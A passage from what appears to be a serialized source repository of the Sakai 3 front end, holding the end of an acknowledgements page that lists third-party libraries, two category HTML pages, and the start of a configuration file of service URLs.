<h1>__MSG__FLUID_INFUSION__</h1>\n                            <a href=\"http://www.fluidproject.org/products/infusion\">http://www.fluidproject.org/products/infusion</a> <br /><br />\n                            <span>__MSG__WE_THINK_GOOD_INTERFACES__</span>\n                        </div>\n                    </div>\n                </div>\n              </div>\n\n            </div>\n        </div>\n        <div id=\"acknowledgements_uitech\" style=\"display:none\">\n\n            <!-- SOFTWARE FROM THIRD PARTIES LIST -->\n            <div class=\"acknowledgements_content acknowledgements_third_party\">\n                <span>__MSG__THE_PRODUCT_INCLUDES_SOFTWARE_FROM__</span>\n\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__TRIMPATH__</h2>\n                    <a href=\"http://code.google.com/p/trimpath/wiki/JavaScriptTemplates\" target=\"_blank\">http://code.google.com/p/trimpath/wiki/JavaScriptTemplates</a>\n                    <br/>\n                    <span>__MSG__JAVASCRIPT_TEMPLATES__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__MOXIECODE_SYSTEMS_AB__</h2>\n                    <a href=\"http://tinymce.moxiecode.com/\" target=\"_blank\">tinymce.moxiecode.com</a>\n                    <br/>\n                    <span>__MSG__TINYMCE_JAVASCRIPT_WYSIWYG_EDITOR__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__GOOGLE_INC__</h2>\n                    <a href=\"http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer\" target=\"_blank\">http://code.google.com/p/google-caja/wiki/JsHtmlSanitizer</a>\n                    <br/>\n                    <span>__MSG__JSHTMLSANITIZER_LIBRARY_FROM_THE_CAJA_PROJECT__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__JORDAN_BOESH__</h2>\n                    <a href=\"http://www.boedesign.com\" target=\"_blank\">www.boedesign.com</a>\n                    <br/>\n                    <span>__MSG__GRITTER_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__BRICE_BURGESS__</h2>\n                    <a href=\"http://dev.iceburg.net/jquery/jqModal\" target=\"_blank\">http://dev.iceburg.net/jquery/jqModal</a>\n                    <br/>\n                    <span>__MSG__JQMODAL_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__DREW_WILSON__</h2>\n                    <a href=\"http://code.drewwilson.com/entry/autosuggest-jquery-plugin\" target=\"_blank\">http://code.drewwilson.com/entry/autosuggest-jquery-plugin</a>\n                    <br/>\n                    <span>__MSG__AUTOSUGGEST_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__COWBOY_BEN_ALMAN__</h2>\n                    <a href=\"http://benalman.com/about/license\" target=\"_blank\">http://benalman.com/about/license</a>\n                    <br/>\n                    <span>__MSG__JQUERY_BBQ__</span>\n                </div>\n               <div class=\"acknowledgement_information\">\n                    <h2>__MSG__KLAUS_HARTL__</h2>\n                    <a href=\"http://stilbuero.de\" target=\"_blank\">stilbuero.de</a>\n                    <br/>\n                    <span>__MSG__COOKIE_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__MIKE_ALSUP__</h2>\n                    <a href=\"http://malsup.com/jquery/form\" target=\"_blank\">http://malsup.com/jquery/form</a>\n                    <br/>\n                    <span>__MSG__JQUERY_FORM_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__MICHAL_WOJCIECHOWSKI__</h2>\n                    <a href=\"http://odyniec.net/projects/imgareaselect\" target=\"_blank\">http://odyniec.net/projects/imgareaselect</a>\n                    <br/>\n                    <span>__MSG__IMGAREASELECT_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__MIKA_TUUPOLA_DYLAN_VERHEUL__</h2>\n                    <a href=\"http://www.appelsiini.net/projects/jeditable\" target=\"_blank\">http://www.appelsiini.net/projects/jeditable</a>\n                    <br/>\n                    <span>__MSG__JEDITABLE_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__BRANTLEY_HARRIS__</h2>\n                    <a href=\"http://code.google.com/p/jquery-json\" target=\"_blank\">http://code.google.com/p/jquery-json</a>\n                    <br/>\n                    <span>__MSG__JQUERY_JSON_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__IVAN_BOSZHANOV__</h2>\n                    <a href=\"http://jstree.com\" target=\"_blank\">jstree.com</a>\n                    <br/>\n                    <span>__MSG__JSTREE_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__FYNETWORKS_COM__</h2>\n                    <a href=\"http://www.fyneworks.com/jquery/multiple-file-upload\" target=\"_blank\">http://www.fyneworks.com/jquery/multiple-file-upload</a>\n                    <br/>\n                    <span>__MSG__JQUERY_MULTIPLE_FILE_UPLOAD_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__JON_PAUL_DAVIES__</h2>\n                    <a href=\"http://jonpauldavies.github.com/JQuery/Pager\" target=\"_blank\">http://jonpauldavies.github.com/JQuery/Pager</a>\n                    <br/>\n                    <span>__MSG__JQUERY_PAGER_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__AUTHOR_JEREMY_HORN__</h2>\n                    <a href=\"http://tpgblog.com/ThreeDots\" target=\"_blank\">http://tpgblog.com/ThreeDots</a>\n                    <br/>\n                    <span>__MSG__THREEDOTS_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__RYAN_MCGEARY__</h2>\n                    <a href=\"http://timeago.yarp.com\" target=\"_blank\">timeago.yarp.com</a>\n                    <br/>\n                    <span>__MSG__TIMEAGO_JQUERY_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__JORN_ZAEFFERER__</h2>\n                    <a href=\"http://bassistance.de/jquery-plugins/jquery-plugin-validation\" target=\"_blank\">http://bassistance.de/jquery-plugins/jquery-plugin-validation</a>\n                    <br/>\n                    <span>__MSG__JQUERY_VALIDATION_PLUGIN__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__ADAM_VANDENBERG__</h2>\n                    <a href=\"http://adamv.com/dev/javascript/querystring\" target=\"_blank\">http://adamv.com/dev/javascript/querystring</a>\n                    <br/>\n                    <span>__MSG__QUERYSTRING__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__DOMINIC_MITCHELL__</h2>\n                    <a href=\"http://search.cpan.org/~hdm/JavaScript-JSLint-0.06\" target=\"_blank\">http://search.cpan.org/~hdm/JavaScript-JSLint-0.06</a>\n                    <br/>\n                    <span>__MSG__JAVASCRIPT_JSLINT__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__MICHAEL_MATHEWS__</h2>\n                    <a href=\"http://code.google.com/p/jsdoc-toolkit\" target=\"_blank\">http://code.google.com/p/jsdoc-toolkit</a>\n                    <br/>\n                    <span>__MSG__JSDOC_TOOLKIT__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__YAHOO_INC__</h2>\n                    <a href=\"http://developer.yahoo.com/yui/compressor\" target=\"_blank\">http://developer.yahoo.com/yui/compressor</a>\n                    <br/>\n                    <span>__MSG__YUI_COMPRESSOR__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__YUSUKE_KAMIYAMANE__</h2>\n                    <a href=\"http://p.yusukekamiyamane.com\" target=\"_blank\">p.yusukekamiyamane.com</a>\n                    <br/>\n                    <span>__MSG__FUGUE_ICONS__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__MARK_JAMES__</h2>\n                    <a href=\"http://www.famfamfam.com/lab/icons/silk\" target=\"_blank\">http://www.famfamfam.com/lab/icons/silk</a>\n                    <br/>\n                    <span>__MSG__SILK_ICONS__</span>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__APACHE_SOFTWARE_FOUNDATION__</h2>\n                    <a href=\"http://www.apache.org\" target=\"_blank\">www.apache.org</a>\n                    <br/>\n                </div>\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__ANT_CONTRIB__</h2>\n                    <a href=\"http://sourceforge.net/projects/ant-contrib\" target=\"_blank\">http://sourceforge.net/projects/ant-contrib</a>\n                    <br/>\n                </div>\n\n            </div>\n        </div>\n        <div id=\"acknowledgements_backendtech\" style=\"display:none\">\n\n            <!-- SOFTWARE FROM THIRD PARTIES LIST -->\n            <div class=\"acknowledgements_content acknowledgements_third_party\">\n\n                <!-- NAKAMURA -->\n                <div class=\"acknowledgement_information\">\n                    <h2>__MSG__NAKAMURA_THE_SERVER_PART_OF_SAKAI_3__</h2>\n                    <ul>\n                        <li>__MSG__APACHE_ARIES_JMX_API__</li>\n                        <li>__MSG__APACHE_ARIES_JMS_CORE__</li>\n                        <li>__MSG__APACHE_COMMONS_IO_BUNDLE__</li>\n                        <li>__MSG__APACHE_DERBY__</li>\n                        <li>__MSG__APACHE_FELIX_BUNDLE_REPOSITORY__</li>\n                        <li>__MSG__APACHE_FELIX_CONFIGURATION_ADMIN_SERVICE__</li>\n                        <li>__MSG__APACHE_FELIX_DECLARATIVE_SERVICES__</li>\n                        <li>__MSG__APACHE_FELIX_EVENTADMIN__</li>\n                        <li>__MSG__APACHE_FELIX_FILE_INSTALL__</li>\n                        <li>__MSG__APACHE_FELIX_HTTP_WHITEBOARD__</li>\n                        <li>__MSG__APACHE_FELIX_METATYPE_SERVICE__</li>\n                        <li>__MSG__APACHE_FELIX_WEB_CONSOLE_EVENT_PLUGIN__</li>\n                        <li>__MSG__APACHE_FELIX_WEB_CONSOLE_MEMORY_USAGE_PLUGIN__</li>\n                        <li>__MSG__APACHE_FELIX_WEB_MANAGEMENT_CONSOLE__</li>\n                        <li>__MSG__APACHE_JACKRABBIT_API__</li>\n                        <li>__MSG__APACHE_SLING_ADAPTER_MANAGER_IMPLEMENTATION__</li>\n                        <li>__MSG__APACHE_SLING_API__</li>\n                        <li>__MSG__APACHE_SLING_AUTHENTICATION_SERVICE__</li>\n                        <li>__MSG__APACHE_SLING_BUNDLE_RESOURCE_PROVIDER__</li>\n                        <li>__MSG__APACHE_SLING_COMMONS_OSGI_SUPPORT__</li>\n                        <li>__MSG__APACHE_SLING_DEFAULT_GET_SERVLETS__</li>\n                        <li>__MSG__APACHE_SLING_DEFAULT_POST_SERVLETS__</li>\n                        <li>__MSG__APACHE_SLING_DYNAMIC_CLASS_LOADER_SUPPORT__</li>\n                        <li>__MSG__APACHE_SLING_ENGINE_IMPLEMENTATION__</li>\n                        <li>__MSG__APACHE_SLING_FILESYSTEM_RESOURCE_PROVIDER__</li>\n                        <li>__MSG__APACHE_SLING_GROOVY_EXTENSION__</li>\n                        <li>__MSG__APACHE_SLING_INITIAL_CONTENT_LOADER__</li>\n                        <li>__MSG__APACHE_SLING_JACKRABBIT_EMBEDDED_REPOSITORY__</li>\n                        <li>__MSG__APACHE_SLING_JACKRABBIT_JSR_ACCESS_CONTROL_MANAGER_SUPPORT__</li>\n                        <li>__MSG__APACHE_SLING_JCR_BASE_BUNDLE__</li>\n                        <li>__MSG__APACHE_SLING_JCR_CLASSLOADER__</li>\n                        <li>__MSG__APACHE_SLING_JCR_RESOURCE_RESOLVER__</li>\n                        <li>__MSG__APACHE_SLING_JCR_WEBCONSOLE_BUNDLE__</li>\n                        <li>__MSG__APACHE_SLING_JSON_LIBRARY__</li>\n                        <li>__MSG__APACHE_SLING_JSP_TAG_LIBRARY__</li>\n                        <li>__MSG__APACHE_SLING_LAUNCHPAD_CONTENT__</li>\n                        <li>__MSG__APACHE_SLING_MIME_TYPE_MAPPING_SUPPORT__</li>\n                        <li>__MSG__APACHE_SLING_OBJECT_CONTENT_MAPPING__</li>\n                        <li>__MSG__APACHE_SLING_OPENID_AUTHENTICATION__</li>\n                        <li>__MSG__APACHE_SLING_OSGI_LOGSERVICE_IMPLEMENTATION__</li>\n                        <li>__MSG__APACHE_SLING_REPOSITORY_API_BUNDLE__</li>\n                        <li>__MSG__APACHE_SLING_SCHEDULER_SUPPORT__</li>\n                        <li>__MSG__APACHE_SLING_SCRIPTING_CORE_IMPLEMENTATION__</li>\n                        <li>__MSG__APACHE_SLING_SCRIPTING_IMPLEMENTATION_API__</li>\n                        <li>__MSG__APACHE_SLING_SCRIPTING_JAVASCRIPT_SUPPORT__</li>\n                        <li>__MSG__APACHE_SLING_SCRIPTING_JSP_SUPPORT__</li>\n                        <li>__MSG__APACHE_SLING_SERVLET_RESOLVER__</li>\n                        <li>__MSG__APACHE_SLING_SETTINGS__</li>\n                        <li>__MSG__APACHE_SLING_THREAD_DUMPER__</li>\n                        <li>__MSG__APACHE_SLING_THREAD_SUPPORT__</li>\n                        <li>__MSG__APACHE_SLING_WEB_CONSOLE_BRANDING__</li>\n                        <li>__MSG__APACHE_SLING_WEB_CONSOLE_SECURITY_PROVIDER__</li>\n                        <li>__MSG__COMMONS_CODE__</li>\n                        <li>__MSG__COMMONS_COLLECTIONS__</li>\n                        <li>__MSG__COMMONS_EMAIL__</li>\n                        <li>__MSG__COMMONS_FILEUPLOAD__</li>\n                        <li>__MSG__COMMONS_LANG__</li>\n                        <li>__MSG__COMMONS_POOL__</li>\n                        <li>__MSG__CONTENT_REPOSITORY_FOR_JAVATM_TECHNOLOGY_API__</li>\n                        <li>__MSG__GERONIMO_EJB__</li>\n                        <li>__MSG__GERONIMO_J2EE_CONNECTOR__</li>\n                        <li>__MSG__GERONIMO_J2EE_MANAGEMENT__</li>\n                        <li>__MSG__GERONIMO_JMS__</li>\n                        <li>__MSG__GERONIMO_JTA__</li>\n                        <li>__MSG__GROOVY_RUNTIME__</li>\n                        <li>__MSG__JACKRABBIT_JCR_COMMONS__</li>\n                        <li>__MSG__JACKRABBIT_JCR_RMI__</li>\n                        <li>__MSG__JACKRABBIT_SPI__</li>\n                        <li>__MSG__JACKRABBIT_SPI_COMMONS__</li>\n                        <li>__MSG__JAXB_API__</li>\n                        <li>__MSG__NAKAMURA_HTTP_JETTY__</li>\n                        <li>__MSG__OPS4J_PAX_WEB_SERVICE__</li>\n                        <li>__MSG__SAKAI_3_UX_LOADER__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_ACTIVE_MQ_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_ACTIVITY_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_APACHE_COMMONS_HTTPCLIENT_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_AUTHORIZATION_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_BASIC_LTI_CONSUMER_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_BATCH_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_CALENDAR_BASED_EVENTS_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_CAPTCHA_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_CHAT_SERVICES_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_CONFIGURATION_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_CONNECTIONS_MANAGEMENT_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_DATABASE_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_DISCUSSION_MANAGEMENT_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_DOCUMENT_PROXY__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_DOCUMENTATION_SUPPORT_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_FILES_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_FORM_AUTH_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_GOOGLE_COLLECTIONS__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_HTTP_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_IMAGE_SERVICE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_JAVAX_ACTIVATION_AND_MAIL_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_JAXP_API_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_JCR_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_JSON_LIB_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_LOCKING_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_ME_SERVICE_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_MEMORY_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_MESSAGING_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_MODEL_DIRECTORY__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_OSGI_TO_JMS_EVENTS_BRIDGE_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_OUTGOING_EMAIL_SENDER__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_PAGES_STRUCTURED_CONTENT__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_PERSONAL_SPACE_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_PRESENCE_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_PROFILE_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_PROXY_SERVICE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_SAKAI_CLUSTER_TRACKING__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_SEARCH_SUPPORT_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_SECURITY_LOADER_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_SITE_SERVICE_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_SLING_RESOURCE_EXTENSION BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_SMTP_SERVER__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_SOLR_BASED_SEARCH_SERVICE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_SPARSE_MAP_CONTENT_STORAGE_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_TEMPLATES_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_TIKA_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_TRUSTED_AUTHENTICATION_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_USER_EXTENSIONS_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_UTILITIES__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_VERSION_EXTENSION_BUNDLE__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_WOODSTOX_STAX__</li>\n                        <li>__MSG__SAKAI_NAKAMURA_WORLD_SUPPORT__</li>\n                      </ul>\n                  </div>\n\n                  <span>__MSG__COPYRIGHT_THE_SAKAI_FOUNDATION__</span>\n              </div>\n        </div>\n\n        <!-- HEADER -->\n        <div class=\"fl-container-flex\">\n            <div class=\"fl-fix fl-centered fixed-container s3d-main-container s3d-twocolumn\">\n                <div class=\"s3d-page-column-left\">\n                    <div id=\"widget_lhnavigation\" class=\"widget_inline\"></div>\n                </div>\n                <div class=\"s3d-page-column-right\">\n                    <div id=\"s3d-page-main-content\" class=\"s3d-page-content-padding\">\n                    </div>\n                </div>\n            </div>\n        </div>\n\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n\n        <!-- GROUP JS -->\n        <script>require([\"/dev/javascript/acknowledgements.js\"]);</script>\n    </body>\n</html>\n", "dev/allcategories.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n    <head>\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.explore.css\" />\n    </head>\n    <body class=\"fl-centered explore i18nable\">\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_institutionalskinning\" class=\"widget_inline\"></div>\n                    <div id=\"explore_navigation\">\n                        <div class=\"s3d-contentpage-title\">__MSG__ALL_CATEGORIES__</div>\n                    </div>\n                </div>\n            </div>\n        </div>\n        <div class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n            <div id=\"explore_content\">\n                <div id=\"widget_allcategories\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"s3d-bottom-spacer\"></div>\n        </div>\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n        <script>require([\"/dev/javascript/allcategories.js\"]);</script>\n    </body>\n</html>", "dev/category.html": "<!DOCTYPE HTML>\n<html xmlns=\"http://www.w3.org/1999/xhtml\">\n    <head>\n        <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" />\n        <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge,chrome=1\" />\n        <title></title>\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/main.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.corev1.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.explore.css\" />\n        <link rel=\"stylesheet\" type=\"text/css\" href=\"/dev/css/sakai/sakai.category.css\" />\n    </head>\n    <body class=\"fl-centered explore i18nable\">\n        <div style=\"display:none\">__MSG__IE_PLACEHOLDER__</div>\n        <!-- HEADER -->\n        <div id=\"widget_branding\" class=\"widget_inline\"></div>\n        <div class=\"fl-container-flex header s3d-header\">\n            <div class=\"s3d-navigation-container\">\n                <div id=\"widget_topnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div class=\"fl-fix fl-centered fixed-container s3d-fixed-container\">\n                <div class=\"s3d-container-shadow-left\"><!----></div>\n                <div class=\"s3d-container-shadow-right\"><!----></div>\n                <div class=\"s3d-page-header\">\n                    <div id=\"widget_institutionalskinning\" class=\"widget_inline\"></div>\n                    <div id=\"explore_navigation\"></div>\n                    <div id=\"explore_navigation_template\"><!--\n                    <div class=\"s3d-contentpage-title\">\n                        {for crumb in breadcrumb}\n                            {if crumb_index != 0}\n                            <span>&nbsp;/&nbsp;</span>\n                            {/if}\n                            {if crumb.link}\n                                <a href=\"{if crumb.url}${crumb.url} {else} #l=${crumb.id}{/if}\" class=\"s3d-bold s3d-regular-links\">\n                            {/if}\n\n                            ${crumb.title}\n\n                            {if crumb.link}\n                                </a>\n                            {/if}\n                        {/for}\n                        </div>\n                    --></div>\n                </div>\n            </div>\n        </div>\n        <div class=\"fl-fix fl-centered fixed-container s3d-main-container\">\n            <div class=\"s3d-page-column-left\">\n                <div id=\"widget_lhnavigation\" class=\"widget_inline\"></div>\n            </div>\n            <div  class=\"s3d-page-column-right\">\n                <div id=\"s3d-page-main-content\"></div>\n                <div class=\"s3d-bottom-spacer\"></div>\n            </div>\n        </div>\n        <!-- FOOTER WIDGET -->\n        <div id=\"widget_footer\" class=\"widget_inline footercontainer\"></div>\n\n        <!-- Dependency JS -->\n        <script data-main=\"/dev/lib/sakai/sakai.dependencies.js\" src=\"/dev/lib/jquery/require.js\"></script>\n        <script>require([\"/dev/javascript/category.js\"]);</script>\n    </body>\n</html>", "dev/configuration/config.js": "/*\n * Licensed to the Sakai Foundation (SF) under one\n * or more contributor license agreements. See the NOTICE file\n * distributed with this work for additional information\n * regarding copyright ownership. The SF licenses this file\n * to you under the Apache License, Version 2.0 (the\n * \"License\"); you may not use this file except in compliance\n * with the License. You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing,\n * software distributed under the License is distributed on an\n * \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n * KIND, either express or implied. See the License for the\n * specific language governing permissions and limitations under the License.\n */\ndefine(function(){\n    var config = {\n        URL: {\n            // Static URLs\n            GATEWAY_URL: \"/\",\n            GROUP_DEFAULT_ICON_URL: \"/dev/images/group_avatar_icon_64x64_nob.png\",\n            GROUP_DEFAULT_ICON_URL_LARGE: \"/dev/images/group_avatar_icon_100x100_nob.png\",\n            I10N_BUNDLE_URL: \"/dev/lib/misc/l10n/cultures/globalize.culture.__CODE__.js\",\n            I18N_BUNDLE_ROOT: \"/dev/bundle/\",\n            INBOX_URL: \"/me#l=messages/inbox\",\n            INVITATIONS_URL: \"/me#l=messages/invitations\",\n            LOGOUT_URL: \"/logout\",\n            MY_DASHBOARD_URL: \"/me#l=dashboard\",\n            PROFILE_EDIT_URL: \"/me#l=profile/basic\",\n            SEARCH_ACTIVITY_ALL_URL: \"/var/search/activity/all.json\",\n            SEARCH_URL: \"/search\",\n            TINY_MCE_CONTENT_CSS: \"/dev/css/FSS/fss-base.css,/dev/css/sakai/main.css,/dev/css/sakai/sakai.corev1.css,/dev/css/sakai/sakai.base.css,/dev/css/sakai/sakai.editor.css,/dev/css/sakai/sakai.content_profile.css\",\n            USER_DEFAULT_ICON_URL: \"/dev/images/default_User_icon_50x50.png\",\n            USER_DEFAULT_ICON_URL_LARGE: \"/dev/images/default_User_icon_100x100.png\",\n            INFINITE_LOADING_ICON: \"/dev/images/Infinite_Scrolling_Loader_v01.gif\",\n\n            // Services\n            BATCH: \"/system/batch\",\n            CAPTCHA_SERVICE: \"/system/captcha\",\n            CONTACTS_FIND: \"/var/contacts/find.json\",\n            CONTACTS_FIND_STATE: \"/var/contacts/findstate.json\",\n            CONTACTS_FIND_ALL: \"/var/contacts/find-all.json\",\n            CREATE_USER_SERVICE: \"/system/userManager/user.create.html\",\n            DISCUSSION_GETPOSTS_THREADED: \"/var/search/discussions/threaded.json?path=__PATH__&marker=__MARKER__\",\n            GOOGLE_CHARTS_API: \"http://chart.apis.google.com/chart\",\n            GROUP_CREATE_SERVICE: \"/system/userManager/group.create.json\",\n            GROUPS_MANAGER: \"/system/me/managedgroups.json\",\n            GROUPS_MEMBER: \"/system/me/groups.json\",\n            IMAGE_SERVICE: \"/var/image/cropit\",\n            LOGIN_SERVICE: \"/system/sling/formlogin\",\n            LOGOUT_SERVICE: \"/system/sling/logout?resource=/index\",\n            ME_SERVICE: \"/system/me\",\n            MESSAGE_BOX_SERVICE: \"/var/message/box.json\",\n            MESSAGE_BOXCATEGORY_SERVICE: \"/var/message/boxcategory.json\",\n            MESSAGE_BOXCATEGORY_ALL_SERVICE: \"/var/message/boxcategory-all.json\",\n            POOLED_CONTENT_MANAGER: \"/var/search/pool/me/manager.json\",\n            POOLED_CONTENT_MANAGER_ALL: \"/var/search/pool/me/manager-all.json\",\n            POOLED_CONTENT_VIEWER: \"/var/search/pool/me/viewer.json\",\n            POOLED_CONTENT_VIEWER_ALL: \"/var/search/pool/me/viewer-all.json\",\n            POOLED_CONTENT_SPECIFIC_USER: \"/var/search/pool/manager-viewer.json\",\n            POOLED_CONTENT_ACTIVITY_FEED: \"/var/search/pool/activityfeed.json\",\n            PRESENCE_SERVICE: \"/var/presence.json\",\n            SAKAI2_TOOLS_SERVICE: \"/var/proxy/s23/site.json?siteid=__SITEID__\",\n            WORLD_CREATION_SERVICE: \"/system/world/create\",\n            WORLD_INFO_URL: \"/var/templates/worlds.2.json\",\n\n            // Replace these in widgets with proper widgetsave functions from magic\n            SEARCH_ALL_ENTITIES: \"/var/search/general.json\",\n            SEARCH_ALL_ENTITIES_ALL: \"/var/search/general-all.json\",\n            SEARCH_ALL_FILES: \"/var/search/pool/all.json\",\n            SEARCH_ALL_FILES_ALL: \"/var/search/pool/all-all.json\",\n            SEARCH_MY_BOOKMARKS: \"/var/search/files/mybookmarks.json\",\n            SEARCH_MY_BOOKMARKS_ALL: \"/var/search/files/mybookmarks-all.json\",\n            SEARCH_MY_CONTACTS: \"/var/search/files/mycontacts.json\",\n            SEARCH_MY_FILES: \"/var/search/files/myfiles.json\",\n            SEARCH_MY_FILES_ALL: \"/var/search/files/myfiles-all.json\",\n            SEARCH_GROUP_MEMBERS: \"/var/search/groupmembers.json\",\n            SEARCH_GROUP_MEMBERS_ALL: \"/var/search/groupmembers-all.json\",\n            SEARCH_GROUPS: \"/var/search/groups.infinity.json\",\n            SEARCH_GROUPS_ALL: \"/var/search/groups-all.json\",\n            SEARCH_USERS_ACCEPTED: 